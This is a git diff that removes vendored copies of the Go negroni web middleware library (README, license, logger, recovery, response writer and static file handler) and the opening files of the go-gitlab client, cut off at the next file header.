https://github.com/codegangsta/negroni/compare/v0.1.0...v0.2.0 diff --git a/vendor/github.com/urfave/negroni/LICENSE b/vendor/github.com/urfave/negroni/LICENSE deleted file mode 100644 index 08b5e20ac4..0000000000 --- a/vendor/github.com/urfave/negroni/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Jeremy Saenz - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/urfave/negroni/README.md b/vendor/github.com/urfave/negroni/README.md deleted file mode 100644 index eeb2652b0d..0000000000 --- a/vendor/github.com/urfave/negroni/README.md +++ /dev/null @@ -1,230 +0,0 @@ -# Negroni [![GoDoc](https://godoc.org/github.com/codegangsta/negroni?status.svg)](http://godoc.org/github.com/codegangsta/negroni) [![wercker status](https://app.wercker.com/status/13688a4a94b82d84a0b8d038c4965b61/s "wercker status")](https://app.wercker.com/project/bykey/13688a4a94b82d84a0b8d038c4965b61) [![codebeat](https://codebeat.co/badges/47d320b1-209e-45e8-bd99-9094bc5111e2)](https://codebeat.co/projects/github-com-codegangsta-negroni) - -Negroni is an idiomatic approach to web middleware in Go. It is tiny, non-intrusive, and encourages use of `net/http` Handlers. - -If you like the idea of [Martini](https://github.com/go-martini/martini), but you think it contains too much magic, then Negroni is a great fit. - - -Language Translations: -* [PortuguÃĒs Brasileiro (pt_BR)](translations/README_pt_br.md) -* [įšéĢ”ä¸­æ–‡ (zh_tw)](translations/README_zh_tw.md) -* [įŽ€äŊ“中文 (zh_cn)](translations/README_zh_cn.md) -* [German (de_DE)](translations/README_de_de.md) - -## Getting Started - -After installing Go and setting up your -[GOPATH](http://golang.org/doc/code.html#GOPATH), create your first `.go` file. -We'll call it `server.go`. - -~~~ go -package main - -import ( - "github.com/codegangsta/negroni" - "net/http" - "fmt" -) - -func main() { - mux := http.NewServeMux() - mux.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) { - fmt.Fprintf(w, "Welcome to the home page!") - }) - - n := negroni.Classic() // Includes some default middlewares - n.UseHandler(mux) - - http.ListenAndServe(":3000", n) -} -~~~ - -Then install the Negroni package (**go 1.1** and greater is required): -~~~ -go get github.com/codegangsta/negroni -~~~ - -Then run your server: -~~~ -go run server.go -~~~ - -You will now have a Go net/http webserver running on `localhost:3000`. - -## Need Help? -If you have a question or feature request, [go ask the mailing list](https://groups.google.com/forum/#!forum/negroni-users). The GitHub issues for Negroni will be used exclusively for bug reports and pull requests. - -## Is Negroni a Framework? -Negroni is **not** a framework. It is a library that is designed to work directly with net/http. - -## Routing? -Negroni is BYOR (Bring your own Router). The Go community already has a number of great http routers available, Negroni tries to play well with all of them by fully supporting `net/http`. For instance, integrating with [Gorilla Mux](https://github.com/gorilla/mux) looks like so: - -~~~ go -router := mux.NewRouter() -router.HandleFunc("/", HomeHandler) - -n := negroni.New(Middleware1, Middleware2) -// Or use a middleware with the Use() function -n.Use(Middleware3) -// router goes last -n.UseHandler(router) - -http.ListenAndServe(":3000", n) -~~~ - -## `negroni.Classic()` -`negroni.Classic()` provides some default middleware that is useful for most applications: - -* `negroni.Recovery` - Panic Recovery Middleware. -* `negroni.Logger` - Request/Response Logger Middleware. -* `negroni.Static` - Static File serving under the "public" directory. - -This makes it really easy to get started with some useful features from Negroni. - -## Handlers -Negroni provides a bidirectional middleware flow. This is done through the `negroni.Handler` interface: - -~~~ go -type Handler interface { - ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) -} -~~~ - -If a middleware hasn't already written to the ResponseWriter, it should call the next `http.HandlerFunc` in the chain to yield to the next middleware handler. This can be used for great good: - -~~~ go -func MyMiddleware(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) { - // do some stuff before - next(rw, r) - // do some stuff after -} -~~~ - -And you can map it to the handler chain with the `Use` function: - -~~~ go -n := negroni.New() -n.Use(negroni.HandlerFunc(MyMiddleware)) -~~~ - -You can also map plain old `http.Handler`s: - -~~~ go -n := negroni.New() - -mux := http.NewServeMux() -// map your routes - -n.UseHandler(mux) - -http.ListenAndServe(":3000", n) -~~~ - -## `Run()` -Negroni has a convenience function called `Run`. `Run` takes an addr string -identical to -[http.ListenAndServe](http://golang.org/pkg/net/http#ListenAndServe). - -~~~ go -n := negroni.Classic() -n.Run(":8080") -~~~ - -In general, you will want to use `net/http` methods and just pass `negroni` has -a handler as this is more flexible. - -E.g. - -~~~ go - mux := http.NewServeMux() - mux.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) { - fmt.Fprintf(w, "Welcome to the home page!") - }) - - n := negroni.Classic() // Includes some default middlewares - n.UseHandler(mux) - - s := &http.Server{ - Addr: ":8080", - Handler: n, - ReadTimeout: 10 * time.Second, - WriteTimeout: 10 * time.Second, - MaxHeaderBytes: 1 << 20, - } - log.Fatal(s.ListenAndServe()) -~~~ - -## Route Specific Middleware -If you have a route group of routes that need specific middleware to be executed, you can simply create a new Negroni instance and use it as your route handler. - -~~~ go -router := mux.NewRouter() -adminRoutes := mux.NewRouter() -// add admin routes here - -// Create a new negroni for the admin middleware -router.PathPrefix("/admin").Handler(negroni.New( - Middleware1, - Middleware2, - negroni.Wrap(adminRoutes), -)) -~~~ - -If you are using [Gorilla Mux](http://github.com/gorilla/mux) here is an example using a subrouter. - -~~~go -router := mux.NewRouter() -subRouter := mux.NewRouter().PathPrefix("/subpath").Subrouter().StrictSlash(true) -subRouter.HandleFunc("/", someSubpathHandler) // "/subpath/" -subRouter.HandleFunc("/:id", someSubpathHandler) // "/subpath/:id" - -// "/subpath" is necessary to ensure the subRouter and main router linkup -router.PathPrefix("/subpath").Handler(negroni.New( - Middleware1, - Middleware2, - negroni.Wrap(subRouter), -)) -~~~ - -## Third Party Middleware - -Here is a current list of Negroni compatible middlware. Feel free to put up a PR linking your middleware if you have built one: - - -| Middleware | Author | Description | -| -----------|--------|-------------| -| [RestGate](https://github.com/pjebs/restgate) | [Prasanga Siripala](https://github.com/pjebs) | Secure authentication for REST API endpoints | -| [Graceful](https://github.com/tylerb/graceful) | [Tyler Bunnell](https://github.com/tylerb) | Graceful HTTP Shutdown | -| [secure](https://github.com/unrolled/secure) | [Cory Jacobsen](https://github.com/unrolled) | Middleware that implements a few quick security wins | -| [JWT Middleware](https://github.com/auth0/go-jwt-middleware) | [Auth0](https://github.com/auth0) | Middleware checks for a JWT on the `Authorization` header on incoming requests and decodes it| -| [binding](https://github.com/mholt/binding) | [Matt Holt](https://github.com/mholt) | Data binding from HTTP requests into structs | -| [logrus](https://github.com/meatballhat/negroni-logrus) | [Dan Buch](https://github.com/meatballhat) | Logrus-based logger | -| [render](https://github.com/unrolled/render) | [Cory Jacobsen](https://github.com/unrolled) | Render JSON, XML and HTML templates | -| [gorelic](https://github.com/jingweno/negroni-gorelic) | [Jingwen Owen Ou](https://github.com/jingweno) | New Relic agent for Go runtime | -| [gzip](https://github.com/phyber/negroni-gzip) | [phyber](https://github.com/phyber) | GZIP response compression | -| [oauth2](https://github.com/goincremental/negroni-oauth2) | [David Bochenski](https://github.com/bochenski) | oAuth2 middleware | -| [sessions](https://github.com/goincremental/negroni-sessions) | [David Bochenski](https://github.com/bochenski) | Session Management | -| [permissions2](https://github.com/xyproto/permissions2) | [Alexander Rødseth](https://github.com/xyproto) | Cookies, users and permissions | -| [onthefly](https://github.com/xyproto/onthefly) | [Alexander Rødseth](https://github.com/xyproto) | Generate TinySVG, HTML and CSS on the fly | -| [cors](https://github.com/rs/cors) | [Olivier Poitrey](https://github.com/rs) | [Cross Origin Resource Sharing](http://www.w3.org/TR/cors/) (CORS) support | -| [xrequestid](https://github.com/pilu/xrequestid) | [Andrea Franz](https://github.com/pilu) | Middleware that assigns a random X-Request-Id header to each request | -| [VanGoH](https://github.com/auroratechnologies/vangoh) | [Taylor Wrobel](https://github.com/twrobel3) | Configurable [AWS-Style](http://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) HMAC authentication middleware | -| [stats](https://github.com/thoas/stats) | [Florent Messa](https://github.com/thoas) | Store information about your web application (response time, etc.) | -| [prometheus](https://github.com/zbindenren/negroni-prometheus) | [Rene Zbinden](https://github.com/zbindenren) | Easily create metrics endpoint for the [prometheus](http://prometheus.io) instrumentation tool | -| [delay](https://github.com/jeffbmartinez/delay) | [Jeff Martinez](https://github.com/jeffbmartinez) | Add delays/latency to endpoints. Useful when testing effects of high latency | - -## Examples -[Alexander Rødseth](https://github.com/xyproto) created [mooseware](https://github.com/xyproto/mooseware), a skeleton for writing a Negroni middleware handler. - -## Live code reload? -[gin](https://github.com/codegangsta/gin) and [fresh](https://github.com/pilu/fresh) both live reload negroni apps. - -## Essential Reading for Beginners of Go & Negroni - -* [Using a Context to pass information from middleware to end handler](http://elithrar.github.io/article/map-string-interface/) -* [Understanding middleware](https://mattstauffer.co/blog/laravel-5.0-middleware-filter-style) - -## About - -Negroni is obsessively designed by none other than the [Code Gangsta](https://codegangsta.io/) diff --git a/vendor/github.com/urfave/negroni/doc.go b/vendor/github.com/urfave/negroni/doc.go deleted file mode 100644 index 24d6572c2f..0000000000 --- a/vendor/github.com/urfave/negroni/doc.go +++ /dev/null @@ -1,25 +0,0 @@ -// Package negroni is an idiomatic approach to web middleware in Go. It is tiny, non-intrusive, and encourages use of net/http Handlers. -// -// If you like the idea of Martini, but you think it contains too much magic, then Negroni is a great fit. -// -// For a full guide visit http://github.com/codegangsta/negroni -// -// package main -// -// import ( -// "github.com/codegangsta/negroni" -// "net/http" -// "fmt" -// ) -// -// func main() { -// mux := http.NewServeMux() -// mux.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) { -// fmt.Fprintf(w, "Welcome to the home page!") -// }) -// -// n := negroni.Classic() -// n.UseHandler(mux) -// n.Run(":3000") -// } -package negroni diff --git a/vendor/github.com/urfave/negroni/logger.go b/vendor/github.com/urfave/negroni/logger.go deleted file mode 100644 index e3828ef319..0000000000 --- a/vendor/github.com/urfave/negroni/logger.go +++ /dev/null @@ -1,29 +0,0 @@ -package negroni - -import ( - "log" - "net/http" - "os" - "time" -) - -// Logger is a middleware handler that logs the request as it goes in and the response as it goes out. -type Logger struct { - // Logger inherits from log.Logger used to log messages with the Logger middleware - *log.Logger -} - -// NewLogger returns a new Logger instance -func NewLogger() *Logger { - return &Logger{log.New(os.Stdout, "[negroni] ", 0)} -} - -func (l *Logger) ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) { - start := time.Now() - l.Printf("Started %s %s", r.Method, r.URL.Path) - - next(rw, r) - - res := rw.(ResponseWriter) - l.Printf("Completed %v %s in %v", res.Status(), http.StatusText(res.Status()), time.Since(start)) -} diff --git a/vendor/github.com/urfave/negroni/negroni.go b/vendor/github.com/urfave/negroni/negroni.go deleted file mode 100644 index 9c7c187e77..0000000000 --- a/vendor/github.com/urfave/negroni/negroni.go +++ /dev/null @@ -1,133 +0,0 @@ -package negroni - -import ( - "log" - "net/http" - "os" -) - -// Handler handler is an interface that objects can implement to be registered to serve as middleware -// in the Negroni middleware stack. -// ServeHTTP should yield to the next middleware in the chain by invoking the next http.HandlerFunc -// passed in. -// -// If the Handler writes to the ResponseWriter, the next http.HandlerFunc should not be invoked. -type Handler interface { - ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) -} - -// HandlerFunc is an adapter to allow the use of ordinary functions as Negroni handlers. -// If f is a function with the appropriate signature, HandlerFunc(f) is a Handler object that calls f. -type HandlerFunc func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) - -func (h HandlerFunc) ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) { - h(rw, r, next) -} - -type middleware struct { - handler Handler - next *middleware -} - -func (m middleware) ServeHTTP(rw http.ResponseWriter, r *http.Request) { - m.handler.ServeHTTP(rw, r, m.next.ServeHTTP) -} - -// Wrap converts a http.Handler into a negroni.Handler so it can be used as a Negroni -// middleware. The next http.HandlerFunc is automatically called after the Handler -// is executed. -func Wrap(handler http.Handler) Handler { - return HandlerFunc(func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) { - handler.ServeHTTP(rw, r) - next(rw, r) - }) -} - -// Negroni is a stack of Middleware Handlers that can be invoked as an http.Handler. -// Negroni middleware is evaluated in the order that they are added to the stack using -// the Use and UseHandler methods. -type Negroni struct { - middleware middleware - handlers []Handler -} - -// New returns a new Negroni instance with no middleware preconfigured. -func New(handlers ...Handler) *Negroni { - return &Negroni{ - handlers: handlers, - middleware: build(handlers), - } -} - -// Classic returns a new Negroni instance with the default middleware already -// in the stack. -// -// Recovery - Panic Recovery Middleware -// Logger - Request/Response Logging -// Static - Static File Serving -func Classic() *Negroni { - return New(NewRecovery(), NewLogger(), NewStatic(http.Dir("public"))) -} - -func (n *Negroni) ServeHTTP(rw http.ResponseWriter, r *http.Request) { - n.middleware.ServeHTTP(NewResponseWriter(rw), r) -} - -// Use adds a Handler onto the middleware stack. Handlers are invoked in the order they are added to a Negroni. -func (n *Negroni) Use(handler Handler) { - if handler == nil { - panic("handler cannot be nil") - } - - n.handlers = append(n.handlers, handler) - n.middleware = build(n.handlers) -} - -// UseFunc adds a Negroni-style handler function onto the middleware stack. -func (n *Negroni) UseFunc(handlerFunc func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc)) { - n.Use(HandlerFunc(handlerFunc)) -} - -// UseHandler adds a http.Handler onto the middleware stack. Handlers are invoked in the order they are added to a Negroni. -func (n *Negroni) UseHandler(handler http.Handler) { - n.Use(Wrap(handler)) -} - -// UseHandler adds a http.HandlerFunc-style handler function onto the middleware stack. -func (n *Negroni) UseHandlerFunc(handlerFunc func(rw http.ResponseWriter, r *http.Request)) { - n.UseHandler(http.HandlerFunc(handlerFunc)) -} - -// Run is a convenience function that runs the negroni stack as an HTTP -// server. The addr string takes the same format as http.ListenAndServe. -func (n *Negroni) Run(addr string) { - l := log.New(os.Stdout, "[negroni] ", 0) - l.Printf("listening on %s", addr) - l.Fatal(http.ListenAndServe(addr, n)) -} - -// Returns a list of all the handlers in the current Negroni middleware chain. -func (n *Negroni) Handlers() []Handler { - return n.handlers -} - -func build(handlers []Handler) middleware { - var next middleware - - if len(handlers) == 0 { - return voidMiddleware() - } else if len(handlers) > 1 { - next = build(handlers[1:]) - } else { - next = voidMiddleware() - } - - return middleware{handlers[0], &next} -} - -func voidMiddleware() middleware { - return middleware{ - HandlerFunc(func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) {}), - &middleware{}, - } -} diff --git a/vendor/github.com/urfave/negroni/recovery.go b/vendor/github.com/urfave/negroni/recovery.go deleted file mode 100644 index d790cade65..0000000000 --- a/vendor/github.com/urfave/negroni/recovery.go +++ /dev/null @@ -1,46 +0,0 @@ -package negroni - -import ( - "fmt" - "log" - "net/http" - "os" - "runtime" -) - -// Recovery is a Negroni middleware that recovers from any panics and writes a 500 if there was one. -type Recovery struct { - Logger *log.Logger - PrintStack bool - StackAll bool - StackSize int -} - -// NewRecovery returns a new instance of Recovery -func NewRecovery() *Recovery { - return &Recovery{ - Logger: log.New(os.Stdout, "[negroni] ", 0), - PrintStack: true, - StackAll: false, - StackSize: 1024 * 8, - } -} - -func (rec *Recovery) ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) { - defer func() { - if err := recover(); err != nil { - rw.WriteHeader(http.StatusInternalServerError) - stack := make([]byte, rec.StackSize) - stack = stack[:runtime.Stack(stack, rec.StackAll)] - - f := "PANIC: %s\n%s" - rec.Logger.Printf(f, err, stack) - - if rec.PrintStack { - fmt.Fprintf(rw, f, err, stack) - } - } - }() - - next(rw, r) -} diff --git a/vendor/github.com/urfave/negroni/response_writer.go b/vendor/github.com/urfave/negroni/response_writer.go deleted file mode 100644 index 217cbd82a6..0000000000 --- a/vendor/github.com/urfave/negroni/response_writer.go +++ /dev/null @@ -1,100 +0,0 @@ -package negroni - -import ( - "bufio" - "fmt" - "net" - "net/http" -) - -// ResponseWriter is a wrapper around http.ResponseWriter that provides extra information about -// the response. It is recommended that middleware handlers use this construct to wrap a responsewriter -// if the functionality calls for it. -type ResponseWriter interface { - http.ResponseWriter - http.Flusher - // Status returns the status code of the response or 0 if the response has not been written. - Status() int - // Written returns whether or not the ResponseWriter has been written. - Written() bool - // Size returns the size of the response body. - Size() int - // Before allows for a function to be called before the ResponseWriter has been written to. This is - // useful for setting headers or any other operations that must happen before a response has been written. - Before(func(ResponseWriter)) -} - -type beforeFunc func(ResponseWriter) - -// NewResponseWriter creates a ResponseWriter that wraps an http.ResponseWriter -func NewResponseWriter(rw http.ResponseWriter) ResponseWriter { - return &responseWriter{ - ResponseWriter: rw, - status: http.StatusOK, - size: 0, - beforeFuncs: nil} -} - -type responseWriter struct { - http.ResponseWriter - status int - size int - beforeFuncs []beforeFunc -} - -func (rw *responseWriter) WriteHeader(s int) { - rw.status = s - rw.callBefore() - rw.ResponseWriter.WriteHeader(s) -} - -func (rw *responseWriter) Write(b []byte) (int, error) { - if !rw.Written() { - // The status will be StatusOK if WriteHeader has not been called yet - rw.WriteHeader(http.StatusOK) - } - size, err := rw.ResponseWriter.Write(b) - rw.size += size - return size, err -} - -func (rw *responseWriter) Status() int { - return rw.status -} - -func (rw *responseWriter) Size() int { - return rw.size -} - -func (rw *responseWriter) Written() bool { - return rw.status != 0 -} - -func (rw *responseWriter) Before(before func(ResponseWriter)) { - rw.beforeFuncs = append(rw.beforeFuncs, before) -} - -func (rw *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { - hijacker, ok := rw.ResponseWriter.(http.Hijacker) - if !ok { - return nil, nil, fmt.Errorf("the ResponseWriter doesn't support the Hijacker interface") - } - return hijacker.Hijack() -} - -func (rw *responseWriter) CloseNotify() <-chan bool { - return rw.ResponseWriter.(http.CloseNotifier).CloseNotify() -} - -func (rw *responseWriter) callBefore() { - for i := len(rw.beforeFuncs) - 1; i >= 0; i-- { - rw.beforeFuncs[i](rw) - } -} - -func (rw *responseWriter) Flush() { - flusher, ok := rw.ResponseWriter.(http.Flusher) - if ok { - flusher.Flush() - } -} diff --git a/vendor/github.com/urfave/negroni/static.go b/vendor/github.com/urfave/negroni/static.go deleted file mode 100644 index c5af4e6882..0000000000 --- a/vendor/github.com/urfave/negroni/static.go +++ /dev/null @@ -1,84 +0,0 @@ -package negroni - -import ( - "net/http" - "path" - "strings" -) - -// Static is a middleware handler that serves static files in the given directory/filesystem. -type Static struct { - // Dir is the directory to serve static files from - Dir http.FileSystem - // Prefix is the optional prefix used to serve the static directory content - Prefix string - // IndexFile defines which file to serve as index if it exists. - IndexFile string -} - -// NewStatic returns a new instance of Static -func NewStatic(directory http.FileSystem) *Static { - return &Static{ - Dir: directory, - Prefix: "", - IndexFile: "index.html", - } -} - -func (s *Static) ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) { - if r.Method != "GET" && r.Method != "HEAD" { - next(rw, r) - return - } - file := r.URL.Path - // if we have a prefix, filter requests by stripping the prefix - if s.Prefix != "" { - if !strings.HasPrefix(file, s.Prefix) { - next(rw, r) - return - } - file = file[len(s.Prefix):] - if file != "" && file[0] != '/' { - next(rw, r) - return - } - } - f, err := s.Dir.Open(file) - if err != nil { - // discard the error? - next(rw, r) - return - } - defer f.Close() - - fi, err := f.Stat() - if err != nil { - next(rw, r) - return - } - - // try to serve index file - if fi.IsDir() { - // redirect if missing trailing slash - if !strings.HasSuffix(r.URL.Path, "/") { - http.Redirect(rw, r, r.URL.Path+"/", http.StatusFound) - return - } - - file = path.Join(file, s.IndexFile) - f, err = s.Dir.Open(file) - if err != nil { - next(rw, r) - return - } - defer f.Close() - - fi, err = f.Stat() - if err != nil || fi.IsDir() { - next(rw, r) - return - } - } - - http.ServeContent(rw, r, file, fi.ModTime(), f) -} diff --git a/vendor/github.com/xanzy/go-gitlab/.gitignore b/vendor/github.com/xanzy/go-gitlab/.gitignore deleted file mode 100644 index 19b0dcfbd4..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/.gitignore +++ /dev/null @@ -1,28 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*.prof - -# IDE specific files and folders -.idea -*.iml diff --git a/vendor/github.com/xanzy/go-gitlab/.travis.yml b/vendor/github.com/xanzy/go-gitlab/.travis.yml deleted file mode 100644 index f389447c39..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/.travis.yml +++ /dev/null @@ -1,26 +0,0 @@ -language: go - -go: - - 1.13.x - - 1.14.x - - master - -stages: - - lint - - test - -jobs: - include: - - stage: lint - script: - - go get golang.org/x/lint/golint - - golint -set_exit_status - - go vet -v - - stage: test - script: - - go test -v - -matrix: - allow_failures: - - go: master - fast_finish: true diff --git a/vendor/github.com/xanzy/go-gitlab/CHANGELOG.md b/vendor/github.com/xanzy/go-gitlab/CHANGELOG.md deleted file mode 100644 index 29e93fff7f..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/CHANGELOG.md +++ /dev/null @@ -1,27 +0,0 @@ -go-github CHANGELOG -=================== - -0.6.0 ------ -- Add support for the V4 Gitlab API. This means the older V3 API is no longer fully supported - with this version. If you still need that version, please use the `f-api-v3` branch. - -0.4.0 ------ -- Add support to use [`sudo`](https://docs.gitlab.com/ce/api/README.html#sudo) for all API calls. -- Add support for the Notification Settings API. -- Add support for the Time Tracking API. -- Make sure that the error response correctly outputs any returned errors. -- And a reasonable number of smaller enhanchements and bugfixes. - -0.3.0 ------ -- Moved the tags related API calls to their own service, following the Gitlab API structure. - -0.2.0 ------ -- Convert all Option structs to use pointers for their fields. - -0.1.0 ------ -- Initial release. diff --git a/vendor/github.com/xanzy/go-gitlab/LICENSE b/vendor/github.com/xanzy/go-gitlab/LICENSE deleted file mode 100644 index 261eeb9e9f..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git 